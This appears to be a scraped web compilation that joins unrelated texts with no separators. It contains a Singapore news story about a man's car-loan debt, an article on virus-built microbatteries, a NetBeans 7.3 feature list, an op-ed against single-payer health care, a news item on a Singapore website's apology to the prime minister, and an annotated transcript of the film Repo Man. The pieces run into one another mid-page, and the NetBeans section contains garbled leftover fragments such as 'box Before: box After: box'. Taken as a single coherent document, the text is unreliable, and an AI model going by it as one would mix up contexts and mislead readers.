Photo of “Come Ashore” in 2008: 2008 by Chris Bales.
The crippling debt that came with buying his car made owning one an irony - he had a car but could not afford to drive it.
Adam (not his real name, as he spoke on condition of anonymity), maxed out at least 12 credit cards and six credit lines, chalking up about $50,000 in debt - just to pay for the loan instalments and other essentials required to maintain a car.
The 32-year-old civil servant said it was the worst mistake of his life.
He bought a new off-peak hatchback in 2007 for $60,000. At that time, he was earning $2,300 a month.
By having a car, he thought a life of status and comfort awaited him.
But all he got in return was half a decade of "living hell".
"It was hell, really a living hell being in so much debt," he said.
"I was living comfortably before that, with some excess cash from my salary. I already had a big bike then, but I wanted more. I wanted a status symbol."
He was attracted by the fact that he did not have to place a down payment. Plus, he would get a $5,000 cash-back from the $60,000 loan the car package offered.
Adam signed a few forms and was soon driving off in his new car.
But within three months, when the money from the cash-back was depleted, he realised just how much of a mess he was in.
"It was a terrible mistake, a decision that I regretted almost immediately," he said.
"It wasn't just the $600 monthly instalments, but the petrol, parking, insurance and other hidden costs, which came up to about $1,000 a month."
Unable to pay up, he depended on credit cards and lines, opening accounts with six banks just to have enough money for his daily expenses.
Paying for his wedding in 2011 added to his debt, and his honeymoon was spent bitterly answering calls from the banks chasing him for payment.
He said: "I could not sleep. The banks kept calling and the first few months of my marriage were rough. I had many arguments with my wife."
His wife told TNP that she too had her own debt and it was only after the first few months of their marriage that they discovered more about each other's financial troubles.
"I remember that during our honeymoon, we kept receiving calls from the bank and it really affected the mood," said the 31-year-old.
"Later on we couldn't really spend on a lot of things. Going out wasn't even an option."
TOO MUCH TO BEAR
For Adam, the debt became too much to bear and the car became little more than a display piece as he could no longer afford to drive it around.
"I ended up paying so much for something I seldom even used," he said.
"I took out loans and credit lines to pay the bills, and ended up having to live on just $50 a month for two years after all my essential expenditures.
"It was like covering a hole only to dig another one over and over again."
He would get by with just one meal a day and even that meal was a homecooked one.
"If I really had to eat out with my friends, I would eat at home first before going," he said.
"I would then use the excuse that I'd already eaten at home, which was true."
He added that this drove him to take up even more loans from the banks.
"It was very hard to survive on that kind of amount monthly, which drove me to withdraw and use money that I did not have and did not belong to me," he said.
"It made it worse, to the point that I got blacklisted by the banks."
But there is a silver lining to his story.
At his lowest point, in 2012, he turned to Credit Counselling Singapore (CCS) for help, and they helped him get back on his feet.
CCS helped him by drawing up a debt management plan and negotiating with the banks.
He has since started to pay off his debt slowly through instalments, but he has had to change his lifestyle drastically.
"CCS helped me a lot, and I was able to save about $400 a month after that," he said.
"That allowed me to breathe and get back on my feet."
He sold his car in 2012, and is on track to clearing his debt by the end of next year.
Adam has become so traumatised by the experience that he said he will never buy a car again.
"I've done the calculations, and actually for me, taking a taxi every day is cheaper than getting a car," he said.
"So why would I ever want to get a car again?"
He advises those who are tempted to buy a car now because it seems cheaper to carefully reconsider.
"If you really must have a car, then make sure you write down your calculations and understand your financial situation," he said.
"If you don't need it, then don't get it. Going through hell just for a status symbol is not worth it."
It was a terrible mistake, a decision that I regretted almost immediately. It wasn't just the $600 monthly instalments, but the petrol, parking, insurance and other hidden costs.
Viruses to power batteries of the future
The energy for tomorrow's miniature electronic devices could come from tiny microbatteries about half the size of a human cell and built with viruses.
Researchers from the Massachusetts Institute of Technology in the US believe they can build them, thanks to a new advance in battery technology.
By pouring a mixture of the harmless, genetically engineered M13 virus and the metal cobalt over stamped silicon film, Professor Angela Belcher and her colleagues have created a flexible, microscopic battery that could be cheaply mass produced.
In theory, it could turn virtually any surface - from large computers to tiny implanted detectors for cancer or heart disease - into an energy-storing device.
"The idea of using stamping technique to produce a battery is pretty different," says Belcher. "We can make the batteries really small, which lets us put a power source on all sorts of tiny sensors."
Belcher and her colleagues created the first virus-powered battery in 2006.
Since then they have been refining their viral battery while working to create other novel energy-storing devices that could be woven into fabrics or poured into containers.
Powerful
Their most recent advance, detailed in the Proceedings of the National Academy of Science, involves stamping a base material, in this case silicon, so that the negatively charged M13 virus and positively charged cobalt can self-assemble based on their relative charges and the pattern of the stamp.
Stamping the base materials, which can theoretically be nearly any surface, means that the batteries can be produced more cheaply and efficiently. With silicon as the base material, flexible and curved batteries can be created as well.
Gram for gram, the virus-based batteries are roughly twice as powerful as traditional chemical batteries, says Belcher, although the battery cells are so small - about four micrometres across - that exact measurements are difficult. It takes about an hour for an M13 battery to form.
While one tiny cell can't hold much energy, when many cells are combined they can power real devices.
Nine months ago Belcher created a button-sized, M13-based battery and put it into her laser pointer. After numerous recharges she is still on her first virus-based battery.
"It hasn't failed yet," says Belcher.
Like her laser-pointer battery, other virus-based batteries would be rechargeable and more environmentally friendly that traditional batteries.
The virus batteries are assembled at room temperature, have a relatively neutral pH, and use smaller amounts of potentially troublesome metals like lithium or cobalt.
Applications
Because the batteries are so small they will first be used to power small things, such as lab-on-a-chip technology and implantable devices that would monitor patient health, say Belcher and other researchers.
"This technique has tremendous potential to monitor diseases like cardiovascular disease and cancer," says Assistant Professor Kimberly Kelly, an oncologist at the University of Virginia.
After chemotherapy or surgery for cancer, patients must be monitored to ensure the cancer doesn't return. In theory, a small device implanted under the skin, powered by M13, could detect proteins produced by renewed cancer cells.
In response, it could light up (literally, by triggering a small visible LED, as one example), alerting both patient and physician. It would be like a check engine light for cancer or heart attacks.
"[Belcher] is pretty close to developing this technology for light-based applications," says Kelly. "I could see them coming out in two years, five years at worst."
Eventually Belcher hopes to scale up virus-based batteries for larger devices like computers or even cars that wouldn't need a separate battery. The battery would instead be built into the surface of the car itself.
HTML5 Application Project
NetBeans 7.3 introduces a new project type optimized for developing client web applications. Client web application are written using HTML5/CSS3/JavaScript.
Project Creation
This new project type can be found in New Project wizard in "HTML/JavaScript" category:
The wizard allows to create an empty project or utilize one of public online templates:
Similarly a JavaScript files for many libraries and frameworks can be downloaded from public CDNs:
Project Layout
Once the project is created it will contain Site Root (that is your project sources), Unit Tests (your JavaScript unit tests which are located separately from production sources) and Configuration Files (misc configuration files, for example to run your unit tests):
Project Execution
Created project can be run in one of the browsers:
The external Chrome with NetBeans integration browser and Embedded WebKit browser are tighly integrated with the IDE and enable to run JavaScript debugger, instant CSS styling, reload files in browser upon Save and other features which will be described in detail following chapters. When project is run in external Chrome with NetBeans integration the Chrome notifies you that page is being debugged by NetBeans:
Unfortunately the Chrome does not allow to hide the notification - closing it disconnects the NetBeans from the browser.
The execution can be further customize via project properties. By default all files are open via internal lightweight webserver:
Unit Testing
In order to run JavaScript unit tests the js-test-driver server needs to be configured:
and running/debugging JavaScipt unit tests is not different from other languages:
Templating
HTML5 Application project can be turned into a template for new projects. Simply right click project's node and 'Save As Template' it and later user the template from New Project wizard:
HTML5 Sample Applications
Several sample HTML5 applications can be opened directly from the New Project wizard. Some of these are included in NetBeans directly, others are downloaded from GitHub on the fly.
CSS Styling
When you execute a project or a file then the following views are opened by default.
HTML View in Navigator - displays the structure (DOM tree) of the page
- displays the structure (DOM tree) of the page Web Browser (embedded or external) - renders the page itself
(embedded or external) - renders the page itself CSS Styles view - provides information about CSS styles
view - provides information about CSS styles Rule Editor - allows editing of CSS rules
See more information about each view below.
HTML View in Navigator
HTML View shows the DOM tree of the executed page.
The view shows not only elements present in source of the page but also all dynamic modifications done by JavaScript.
Web Browser
When you execute a page then the page is opened in a browser pane and you can interact with it as you are used to. When you want to select an element for styling purposes you can either do so in Navigator or you can switch the browser into Select Mode and select the element in the browser directly.
Embedded Browser
Inspect Mode
You can switch the Inspect Mode on/off using the toolbar button or Ctrl+Shift+S shortcut.
Resizing and Zooming
You can check how the executed page would look on devices with a different resolution.
Chrome
NetBeans IDE is bundled with a Chrome extension that provides a smooth interaction between NetBeans IDE and Chrome.
Inspect in NetBeans Mode
You can switch the Inspect in NetBeans Mode on/off using the context menu, Ctrl+Shift+S shortcut or using the popup that is displayed by clicking on the NetBeans icon in the address bar.
Browser Window Dimensions
Chrome extension allows to resize browser window to the specific dimensions.
These dimensions can be easily customized.
CSS Styles
CSS Styles view shows style information related to the executed page or selection.
Document section of CSS Styles view shows all stylesheets used by the executed page. The list of the displayed rules can be filtered using the field at the top.
Selection section of CSS Styles view shows a summary of CSS rules affecting the selected element. Each row of the Styles table shows the selector of a rule and the name of the element from which this rule is inherited by the selected element. Property Summary provides list of all CSS properties modified by these rules.
You can use Go to Source action (or double-click) on any rule or property in CSS Styles view to jump to the corresponding source code.
Rule Editor
When you select a rule in CSS Styles view (or when you place a caret into a rule in a .css file) then Rule Editor displays details of the rule and allows you to edit it.
Note that any modification of a CSS file is reflected in the executed page immediately.
JavaScript Editor
The JavaScript Editor was rewritten. The new editor brings many improvements and features that ware not in the previous one.
The coloring schema was changed and improved.
New formatter with many options
Model based code completion - new the code completion should be more clever, suggestions should more fit what you need.
Supporting ScriptDoc, ExtDoc and JsDoc in version 2.
Better occurrence support, also in the documentation.
Better supporting for JQuery
Recognizing JavaScript patterns
Core signature files updated to EcmaScript 5.1
Plenty of Code Templates and possibility to define custom Code Templates separately for JavaScript source and documentation (block, doc comments) box Brand new formatter with lot of options including indentation, spaces and wrapping. Indentation Spaces Wrapping code completion improvements - completion per documentation tool, CC entry templates box mark occurences within documentation for names and declared types box box instant rename on found occurences box comments generation for the JavaScript functions, variables, objects, properties Before: box After: box
JavaScript Debugger
NetBeans 7.3 includes a new JavaScript debugger, which works with either Chrome or the Embedded WebKit browser. The debugger is launched automatically when running a HTML5 Application or its unit tests, and all the debugger views are open by default as minimized. The debugger views are:
Breakpoints
Call Stack
Variables
Browser Log
The debugger supports debugging both local files that are included in the HTML5 Application, as well as remote JavaScript files that are linked to the application, but are not included in its sources.
Let's now discuss the individual features of the JavaScript debugger.
Breakpoints
The debugger supports several kinds of breakpoint:
Line breakpoints
DOM Breakpoints
Event Breakpoints
XMLHttpRequest Breakpoints
New breakpoints can be set using the Debug -> New Breakpoint... menu item.
Line Breakpoints
Line breakpoints are triggered when the script reaches a particular code line.
DOM Breakpoints
DOM breakpoints are triggered when there is a change to a particular DOM node.
Besides the New Breakpoint dialog, DOM breakpoints can also be set in the popup menu of the Navigator window for HTML files.
Event Breakpoints
Event breakpoints are triggered when particular events in the page happen.
XMLHttpRequest Breakpoints
XMLHttpRequest breakpoints are hit when network communication using XMLHttpRequest is performed.
Breakpoints deactivation
Breakpoints can be disabled either on a case-by-case basis, or deactivated quickly all at once. This is managed in the Breakpoints window, and reflected in the editor.
Call Stack
Call stack displays the current execution stack of a JavaScript program. Call Stack window has three context actions: "Make Current" (which changes the current frame in which variables are evaluated), "Go to Source" and "Copy Stack" (which copies the stack trace to Clipboard).
Evaluating Variables and Expressions
Variables that are valid in the current scope can be inspected in the Variables window.
Next, it is possible to evaluate arbitrary expressions using the Debug -> Evaluate Expression... menu item. An evaluator window is opened in bottom editor area and evaluation result is visible in Variables window.
Another way to evaluate values of variables is using the debugger tooltip, which has an expandable tree structure.
Browser Log
The Browser Log shows all exceptions, errors, warnings, etc. as they happen in browser.
REST service consumption
NB allows to choose RESTful web service from the existing Web project ( REST as a Java code ) and generate JS client for it.
REST JS client wizard
The generated code requires Backbone.js library so in case the library is already in the project it will be included in the final html with its dependencies. Otherwise user is able to choose local Backbone usage via wizard checkbox. The wizard contains two steps and the second is optional: html file generation could be skipped. It is possible to generate some skeleton code ( without UI with further manual code customization ) and code based on some table grid UI ( tablesorter jQuery plugin ).
Backbone based REST client generation
The result of the wizard is generated JS code and (optionally) HTML file which has a skeleton which gives an idea to the user how the code could be customized. If REST service has an interface around of data collection and Tablesorter UI has been chosen then generated code will be adopted to use it with Tablesorter jQuery plugin. The REST data is rendered as a table grid in the latter case.
Embedded Browser
There is a new full-blown embedded browser based on Webkit. The implementation is provided by JavaFX component WebView. JavaFX SDK version 2.2 or better is required.
Editor
Clipboard History
Access to last 9 clipboard entries. shortcut: ctrl+shift+D
Show number of matches in searchbar
Breadcrumbs
A new navigation bar shows the current embedding in the editor.
Clicking on the arrows shows the children like members/methods.
Bracket Matching
In the left margin you can now see an extra bracket that shows you how far the block contained in the brackets stretches.
Out-of-sight brackets will be also displayed in a popup.
(Screenshots from https://blogs.oracle.com/geertjan/entry/lost_in_code)
Copy File Path
A new action to copy file path of file to clipboard has been added to the context menu of a file tab. You can also select files or projects in project/files view, invoke the shortcut and their files paths are copied to clipboard separated by new space. When there are spaces within the path, the copied path will be surrounded by quotation marks.
Shortcut Alt+Shift+L
See http://netbeans.org/bugzilla/show_bug.cgi?id=153728 / http://netbeans.org/bugzilla/show_bug.cgi?id=219848
'Go To File'-dialog
Support of line numbers
The file dialog was enhanced to support line numbers. For example 'MyClassObject.java:123' will open the file MyClassObject.java at line 123, if the line number is valid for the file.
See http://netbeans.org/bugzilla/show_bug.cgi?id=217050
Java
Redesign of inspect members and hierarchy
See https://blogs.oracle.com/geertjan/entry/netbeans_ide_7_3_easy
Refactoring
Added filters for the Find Usages results.
You can filter for
read-access, write-access, read-write-access
imports
comments
tests (this allows to filter out results from test-sources)
Export/Import Formatting options
Added option to export/import java formatting and indentation for all languages
Hints/Suggestions
null Dereference
A new warning that shows places that may cause NullPointException was added:
Organize Members
A new optional warning checking that class' members follow the selected formatting setting was added, together with a fix for that warning:
Before After
"Remove @Override Annotation" hint
http://netbeans.org/bugzilla/show_bug.cgi?id=222342
Add catch clause to existing try/catch
http://netbeans.org/bugzilla/show_bug.cgi?id=207480
Source Menu Actions
Organize Members and Organize Imports hint are now available as explicit actions in the Source menu:
Implement Unimplemented Methods
When the caret is on an implemented interface or extended class, an option is given to implement only the methods from the interface or class:
Invert If
An option is given to invert the condition of the if statement, together with swapping the then and else section of the statement:
Before After
Move initilization to constructor
An option is given to move a field initialization into constructors:
Before After
Run inspections&transform for wider scope from fixable hint in editor
For a fixable hint in the editor the "run inspections"/"run inspections&transform" dialogs can now be invoked directly. The dialogs are preinitialized with the given hint and the scope of the inspection can be widened f.e. to project scope. This allows you to search for other occurrences of the hint in the same file/package/project...
Customizable Method Bodies
Bodies of newly created methods can now be customized in Tools/Templates/Java/Code Snippets :
'Go To Type'-Dialog
Support of fully qualified names
Now it supports fully qualified names like
java.util.Collection -> finds java.util.Collection, java.util.Collections
j.u.col -> finds java.util.Collection, java.util.Collections
java.u.AL -> finds java.util.ArrayList, java.util.AbstractList, ...
See http://netbeans.org/bugzilla/show_bug.cgi?id=217187
Highlighting of matching patterns
Matching patterns are highlighted bold
See http://netbeans.org/bugzilla/show_bug.cgi?id=216833
Ant
Bundled Ant upgraded to 1.8.4.
Maven
Less memory needed to for Maven projects, in some cases significantly
Effective POM editor tab in pom.xml editor
Code Generator for pom.xml files to generate License elements with list of licenses known to the IDE. Added benefit there is automatic license header generation for new files.
POM Hint marking blacklisted repositories for deletion from the pom.xml file. Blacklist configurable, with java.net repositories as default value.
Introduce property POM hint takes selected text and offers to create a new property or existing one if it covers the selected text. The selection is replaced by property expression.
Compile on Save is disabled by default.
Profiler
Sampled memory profiling
Memory profiler now provides sampled histograms of live objects imposing virtually no overhead to the profiled app.
Comparing CPU snapshots
CPU snapshots can now be compared the same way as memory snapshots.
Retained size by class
Classes view in HeapWalker now provides cumulative retained sizes per class.
New Attach Settings dialog
Attach Wizard has been replaced by a much simpler Attach Settings dialog.
Support for Linux ARM architecture
Profiler can now attach to a remote Java application running on a Linux ARM machine.
Java EE
JPA
Stand alone jpql editor is added, you can run your jpql from ide directly instead of running your jpa application, you may need to register connection and database driver on Services tab if connection isn't registered withing Netbeans already and you need to build your application. JPQL Editor support code completion for JPQL keywords and for managed entities, it can provide you SQL representation of your JPQL query if eclipselink or hibernate provider is used or hints what is wrong with your JPQL query.
REST
Jersey based configuration automatically extends project's classpath with Jersey libraries ( with packaging disabled if they are bundled with target JEE server ) and JSON related improvement is implemented ( see issue 209969 ).
PHP
Editor
Parsers for Namespaced Annotations (Symfony 2, Doctrine 2, etc.)
"Insert code" item at Context menu
Fluent Setters and Type Hints - Allow user to generate setters with fluent interface
Fix Uses - Improved Aliases - Newly created aliases can be generated from first letters of namespaces: \Nette\Security as NS (and then numbered)
CC for "use trait" statements - Code Completion works for traits in "use trait" statements
Ambiguous Comparison Hint - Tries to reveal typos in assignments (assignments with more than one assignment operator)
Improved Error Hanlding
Project
Basic Composer Integration (Dependency Manager for PHP)
Detect and resolve project problems (invalid source roots, include path)
Smarty
Twig
Groovy
C/C++
Memory usage improvements - requires 2x less memory for big projects
Parser speed and scalability improvements
Relocatable index - with some setup project index may be kept with project metadata and used even if the project was moved
VCS ready projects - major improvement in how projects are stored in VCS
Breakpoints grouping (per file, project, type etc.)
JavaFX
FXML / SceneBuilder Support
FXML editor with code completion
Implemented code completion for raw .fxml editor
Controllers can be generated or existing controllers updated from .fxml file
Partial validation with error hints
Javascript event handler syntax highlighting and code completion
Project Infrastructure
Platform infrastructure updated to support JDK 7u6+ on Windows, Mac, Linux
Optimized build infrastructure makes repeated project runs and rebuilds faster
Support multiple concurrent runs of the same FX Project
Support native deployment introduced in JDK 7u6/FX SDK 2.2
Fallback JavaScript-free build infrastructure to support JDKs without scripting engine
Other
Insert Code... ->Add Property... now supports JavaFX 2 properties
Platform
Window System
UI indication of main toolbar overflow with a new possibility to see the items in a drop down menu rather then being cut and invisible.
New action introduced for reopening the recently closed document - File / Open Recent File submenu, and a new shortcut CTRL+ALT+T.
There's a new switch in Tools - Options - Miscellaneous - Windows to use native file chooser on Mac OS X.
When dragging a window to a new location there's visual indication when document type window will be mixed with non-document windows and vice versa.
Options
Filtering of the contents of Options dialog (Tools / Options) - new search field available in the top right corner of the dialog.
Autoupdate
Allow to install locally downloaded OSGi bundles jars in the Download tab in Plugin Manager ( Issue 181683
Output Window
Font and Colors Settings
Configurable colors ( Issue 184908
Configurable keyboard shortcuts ( Issue 58126
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Vermont’s incumbent governor, Peter Shumlin, wants his state to become the first to launch a government takeover of its health-care system. But the results of last month’s election could give him pause. He was unable to secure a majority of votes this November — after winning 58 percent of the vote two years ago. Now the state legislature will determine whether to send Shumlin back for another term.
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What happened in between? Vermont botched the launch of its state-run insurance exchange. By 2017, the exchange is supposed to serve as the “infrastructure” for a single-payer system, with the state picking up the tab for just about every resident’s health care. That exchange hasn’t even gotten off the ground, and state officials have no idea how to raise the $2 billion a year they’ll need to operate a single-payer system.
Vermont’s struggle to implement single-payer health care shouldn’t be a surprise. Such systems are failing to deliver affordable, quality care all over the world. And ordinary citizens are starting to notice.
Shumlin’s administration announced last month that it would shut down the state’s Green Mountain Care exchange for repairs that could take weeks. One state senator said its rollout “has been pretty much a disaster” and “has shaken a lot of people’s faith in the ability of state government to put together something that would work.”
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Even if the state could figure out how to operate a single-payer system, it wouldn’t be able to afford it. A 2013 University of Massachusetts study commissioned by the state concluded that Vermont would have to come up with $1.6 billion in new revenue every year to pay for the plan. Now the state estimates that single payer will take $1.7 billion to $2.2 billion in additional annual revenue.
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Vermont collects $2.7 billion a year in taxes. How does it expect to boost its tax take by 80 percent to pay for single payer?
Vermonters should be thrilled that single payer has false-started in their state. For evidence that single payer doesn’t work, look no further than the United Kingdom and Canada.
Britain’s National Health Service is projected to face budget shortfalls of 30 billion pounds — nearly $47 billion — annually by 2020. The government is responding to this fiscal squeeze by effectively rationing care. Last year, the number of family-practice doctors who appealed to the National Health Service to stop accepting new patients doubled. Between April and June, nearly 16,000 scheduled operations were canceled for non-medical reasons. That’s the highest such figure in nine years.
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As care has become scarce, British patients have taken matters into their own hands. The number of patients paying for treatment on their own has increased tenfold in the past two years. That’s because paying out of pocket allows patients to jump ahead of the interminable waiting lists for care.
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This winter, the NHS is actually calling on the Red Cross to “stave off an NHS winter crisis as waiting lists reach a record high,” as British newspaper The Telegraph put it. More than 3 million people are on waiting lists for treatment — the most since January 2008. In June, more than 32,000 patients had waited at least 18 weeks for treatment. If Britain’s health-care system has to be rescued by the same folks who deliver emergency care in war zones, perhaps it’s a sign that single payer doesn’t work.
Confidence in single-payer health care is also eroding in Canada. An August poll commissioned by the Canadian Medical Association found that 78 percent of Canadians over 45 are worried that they won’t be able to access care when they need it. Eighty-one percent of older Canadians say they are worried about the quality of care they will receive.
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Countries without single-payer systems are doing their best to keep things that way. Last month, Swiss voters rejected a plan to scrap their private insurance system for single payer. Nearly two-thirds of the country opposed the measure — significantly more than polls conducted before the vote predicted.
Vermonters would be wise to note the failures of single payer abroad — if the Green Mountain State completes its journey toward single payer, waiting lists, budget-busting costs, and rationing await. And to avoid this single-payer outcome for all Americans, Obamacare must be repealed and replaced.
The website said the prime minister intended to sue the publisher Epigram Books over a children’s book, The Phantom of Oxley Castle, when no such action has been taken so far.
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TOC wrote:
“TOC apologises unreservedly to Mr Lee Hsien Loong for stating that he intended to sue the publishers and authors of the book for defamation.”
What TOC originally wrote
TOC’s Facebook post on Sunday said Epigram and the authors of the book, Chloe Tong and Liana Gurung, had been “notified that PM Lee will be suing them for defamation”.
However, the post was subsequently edited to say that the publisher and the authors have been told to expect a letter in relation to the book.
Epigram then said on Monday it did not receive “any letter of any kind from PMO (Prime Minister’s Office) or any individuals”.
TOC claimed in their article they received their information through a third party who had spoken to Edmund Wee, the chief executive of Epigram Books, which was why they queried him about the possibility of being sued.
But TOC also acknowledged they jumped the gun by claiming PM Lee is going to sue:
A phone call was made to Mr Wee on Sunday to verify the story. We asked if the publisher had received a letter from the Prime Minister Office or Mr Lee Hsien Loong. His reply to TOC was that nothing has received yet, but told to expect on Monday.
TOC still stands by their claim
Following the apology to PM Lee, TOC then reiterated in the piece that they stand by what they wrote and also gave an explanation about why they published the Facebook post on Sunday: “We stand by the fact that we were informed by the Publishers of possible legal action that would come their way today (Nov 13). Our information and source were deemed accurate and credible at the material time.”
compiled by Steve Farmer and Bob Cantor Changes found in the US TV version are shown in this color. Scenes or lines removed in the TV version are enclosed in []'s, while dialogue in ()'s replaces whatever came immediately before it. Various TV versions may differ due to editing for time (this is not the same as the British TV version which is reputed to contain all of the scenes from the theatrical version in addition to the deleted scenes and also to have less dubbing than the US version). The Blu-Ray disc is supposed to contain the entire TV version (and some new interviews), but I have not been able to view this because I'm a slow adapter who doesn't yet have any Blu-Ray capabilities at home. Directions and lines from the published screenplay are enclosed in ()'s and displayed in this color. The 1988 faber and faber publication (ISBN 0-571-12977-3) is used as the source of the screenplay. Directions and lines from a screenplay available on Alex Cox's website are displayed in this color. This is an earlier version than the published one and contains handwritten notes in the margins. Note that the US TV version was edited by director Alex Cox and contains scenes and lines which were not included in the theatrical version of the movie, although several of these scenes do appear in the video trailer. The VHS and DVD contain the theatrical release and therefore do not show the scenes. The extras included in the Collector's Edition DVD, released in January 2006, does contain an interview with Cox which shows the removed scenes. I have not included scenes which did not appear in either the theatrical or TV versions, but I do indicate where they would have been based on the original script. Spanish dialog is provided on a best-guess basis, and enclosed in parenthesis when just making a wild guess. Reported goofs are flagged with an *. A few key places in the film have been tagged with the time they appear. This is based on the Focus Features Collector's Edition DVD. The entire movie runs 1:32:04 (not including the DVD lead-ins and trailers). Return to the Repo Man Links Page
Opening credits UNIVERSAL: An MCA Company [00:00:17] music in background Michael Nesmith Presents An Edge City Production Harry Dean Stanton Emilio Estevez
Repo Man theme music now begins playing. Map is shown in background (green text on black background), zoomed in on Los Alamos, New Mexico. While remaining credits are shown, the map travels to Sante Fe, then Albuquerque, then begins following US66 west through Arizona to California, finally ending up a few miles east of Goffs (northwest of Needles).
Green '64 Chevy Malibu
Malibu is weaving down the highway in the desert, passes billboard with motorcycle cop behind it. Actually, it's just an old sign on the ground propped up like a lean-to (it was supposed to be a billboard advertising Reverend Larry's Gospel Vigilante Hour, but in the movie, we can't see the front of it.)
Cop pulls out on road behind Malibu and then pulls up along side.
* From along side the car, we can see that the window is open, but when the shot changes to inside the car, the window is closed. *
J. Frank Parnell (driving the Malibu and singing softly): Forty-niner and his daughter Clementine. Oh my darlin, oh my darlin... (he's singing lyrics from "Viva Las Vegas")
Motorcycle cop pulls the car over, gets off motorcycle and raps on car window.
J. Frank Parnell: Clementine Clemen-
County Sheriff: Let me see your drivers license.
Motorcycle Radio: Post ten-eighteen. Post ten-eighteen.
County Sheriff: From out of town, hmm? What's you got in the trunk? (this was preceded by some questions about whether Parnell is intoxicated and Parnell explaining that he is "High on life")
J. Frank Parnell: oah...you don't want to look in there.
County Sheriff: Give me the keys.
* Looking from the back of the car as the Sheriff says this, we see that the driver is no longer wearing glasses and appears to be a completely different person. *
The motorcycle cop takes the keys, walks around to the back of the car and opens the trunk.
The car has New Mexico license plates KBB-283. In every scene after this when the plates are visible, they will be 127-GBH. This might refer to "Charged GBH", which was (and may still be) a British punk band, or to the possibility that some consider GBH to stand for "Grevious Bodily Harm".
* In several scenes we see the plates on the front of the car, but it has been reported that New Mexico only uses plates on the rear. *
County Sheriff: AHHHHHH!
The motorcycle cop gets disintegrated, leaving behind a pair of flaming boots (a reference to the movie Timerider, which was co-written and produced by Michael Nesmith). Parnell watches from side mirror, where we see that the left side of his sunglasses have no lens.
* Parnell drives away without bothering to retrieve his keys from the Sheriff. *
J. Frank Parnell (driving away): Oh my darlin Clementine, you are lost now gone forever, dreadful sorry Clementine.
Otto and Kevin, in the supermarket, facing cans of generic yellow cling sliced peaches (cans of spinach) .
Kevin and Otto are wearing pale blue aprons, pale blue striped shirts and black bow ties. They have a large button on their apron, but I've not been able to make out what it says (HI! I'M _____! I'M HERE TO SERVE) . Otto very noticeably has an earring in his left ear, a dangling silver cross.
The sale sign behind the cans, and others in the scene, identify the market as the "Pik 'n Pay". "Pick 'n Pay" is a major chain in South Africa, which supposedly has something to do with producer Jonathan Wacks.
Kevin is singing the 7-up jingle. Note that the actual words have been reported as being "It's a crisp refreshing feeling, crispy clear and light, America's turning 7-up and it sure feels right..."
Kevin: Do Do Do De Do De Do De Do De Do Feeling Do De Da Do DeDo De Do Feeling seven-up. I'm feeling seven-up. Feeling seven up. I'm feeling seven up. It's a crisp refreshing feeling crystal clear and light. America's drinking seven-up and it sure feels right. Feeling lucky seven.
Otto puts price sticker on Kevin's glasses.
Otto: Kevin stop singing man.
Kevin: Feeling seven eleven.
Kevin: Hum. I wasn't singing guy.
Otto: I'm standing right next to you and you're fucking (flippin) singing. Cut it out.
Kevin: Jeeze. Why so tense guy?
(At this point, Otto catches Duke trying to shoplift. The scene ends and cuts to a conversation between the two in which Otto tells Duke that he's living in his parents garage, something we can briefly see in one of the deleted scenes.)
The Assistant Manager arrives, flanked by a security guard
Mr. Humphries: Otto?
Kevin: Mister Humphries!
Mr. Humphries: You were late again this morning. Now normally I'd let it go but it's been brought to my attention that you're not paying attention to the way you space the cans. Many young men of your age in these uncertain times-
Mr. Humphries: Otto! Are you paying attention to me?
Luis: Hey! He's talking to you!
Otto [ giving Luis the middle finger with both hands ] : Fuck (flip) you!
Kevin chuckles
Otto grabs Kevin by the front of his shirt, steps around him, and pushes him into the stack of cans *(this has been reported as a goof but it's clearly just a case of awkward staging used to make the shot work)*.
Luis pulls his gun.
Luis: (Basta!) [ Bendecho. Come on fucker. Come on just try it. Come on. ]
Kevin: You gotta love getting fired from your job in a big way, Otto.
Mr. Humphries (to Kevin): What are you laughing at? Louie, throw him out too.
Luis: Come on you [ fucking ] worm. Get out of here.
Luis shoves Kevin down aisle where Otto is walking out. Otto takes off his clip-on bow tie and tosses it back towards Luis. Luis twirls his gun and puts it away. Note that the store aisle is lined with nothing but generic products, plain black lettering on white background. All products in the movie have this appearance.
Punks slamdancing to Coup D'etat in the back of a warehouse.
Otto is there slamdancing and Duke walks up, the two of them swing each other around. Behind them, the graffiti on the wall says "Circle Jerks", a band which will appear later in the movie.
Otto: How you doing dude? When did you get out of the slammer man?
* Reports say that Otto's mouth is not moving or properly synchronized, but it looks ok to me. *
Otto enters bedroom where Debbi is waiting in bed.
(Otto tells Debbi that he's been drafted, but that he can't skip town because he has to finish school so his father will pay for him to go to Europe.)
[ Otto, getting undressed: Ah. Excuse me while I fold my pants.
Debbi: What's the difference? ]
Otto: Huh?
Otto lays back on the bed and puts his hands behind his head.
Otto: okay
Debbi pulls back his shirt a little and begins kissing his stomach, then stops.
Debbi: Otto. Otto.
Otto: What?
Debbi: Get me another beer.
Otto goes downstairs and there's a party going on. He passes Archie on his way to the kitchen. (Archie turns and enters the bedroom after Otto passes).
Institutionalized plays in background. (Kevin brags about a sexual conquest) (Kevin brags about a wild punk weekend)
Kevin: Ow. Cool. Ow. Dammit. I'm supposed to be the host here.
Kevin: Ow!
(Otto returns to the bedroom with beer but finds that Debbi and Archie are there "getting down". Back in the kitchen, he and Duke are arm wrestling while Kevin talks about buying a gun. These scenes are shown in the "Missing Scenes" featurette on the DVD but were never used.)
(Now Kevin brags about the sexual conquest, followed by a discussion of Otto having to go fight in Mexico or Guatemala or somewhere) Kevin: I think you done the right thing, Otto. I mean, we're all gonna get killed anyway. If the Government decides there's got to be a war, well, then, there's go to be a war, right? I mean, if you can't trust your leaders, who you gonna trust? The RUSSIANS?
Otto returns to the bedroom
Otto: Debbi honey. I got you a beer.
Otto turns on light and finds Duke there with Debbi.
[ Otto: Shit.
Debbi: Just ignore him Duke he's nothing but a big baby.
Duke: Turn the fucking light out. ]
Otto leaves room just as Kevin arrives and looks in the door.
Kevin: What are you doing? Nobody supposed to be up here. This is my parent's room.
(Kevin: Dude, nobody supposed to be up here, this is my parent's room.)
[ Otto in a vacant lot drinking a beer.
It's early morning and Otto starts walking.
Otto: Don't want to talk about anything else. We don't want toknow. We're just dedicated...to our favorite shows. Saturday night live,Monday night football, Dallas, Jeffersons, Gilligan's island, Flintstones.
(these are the lyrics from the song TV Party, but the way Otto says them could just barely be considered singing) ]
(the Malibu pulls up and passes Otto in slow motion)
Otto still walking, but it's light now.
Otto walks up street with what sounds like a slow version of Reel Ten playing in the background. After turning a corner, he walks by a blue sedan with Bud stting in the driver's seat and the windows open.
